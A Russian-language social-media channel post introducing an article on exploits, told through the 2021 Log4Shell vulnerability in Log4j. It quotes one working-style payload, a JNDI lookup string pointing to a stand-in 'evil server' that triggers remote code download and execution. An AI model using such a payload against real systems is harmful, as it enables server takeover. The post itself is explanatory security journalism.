Пост канала
- фото
Что такое эксплойт: как ошибка в чужом коде превращается в чужой доступ к вашему серверу #эксплойт #взлом #Minecraft Эксплойт это код, превращающий уязвимость в реальный взлом. Разбираем механику, нулевые дни, цепочки, цены до 20 млн долларов и защиту, которая работает. 9 декабря 2021 года игроки Minecraft заметили странность. Стоило написать в общий чат строку вида ${jndi:ldap://злой-сервер/a}, и игровой сервер, который всего лишь записывал сообщение в журнал, послушно шёл в интернет за посторонним кодом и запускал его у себя. Без вложений, без макросов, без «нажмите здесь». Просто текст в чате. Через сутки история получила номер CVE-2021-44228, максимальные десять баллов по CVSS и имя Log4Shell. Виновата оказалась Log4j, скучнейшая библиотека журналирования, вшитая в миллионы Java-приложений от корпоративных порталов до систем управления складами. Apache выкатила экстренный патч, весь мир полтора месяца искал у себя уязвимые сборки, а злоумышленники в это время сканировали сеть пачками. Вот ровно здесь и живёт разница между «в программе есть ошибка» и «через эту ошибку меня уже взломали». Разницу зовут эксплойт. Читать статью LH | News | OSINT | AI
Открыть в MAX- Просмотры
- 277
- ER
- 2,2%
- Реакции
- 6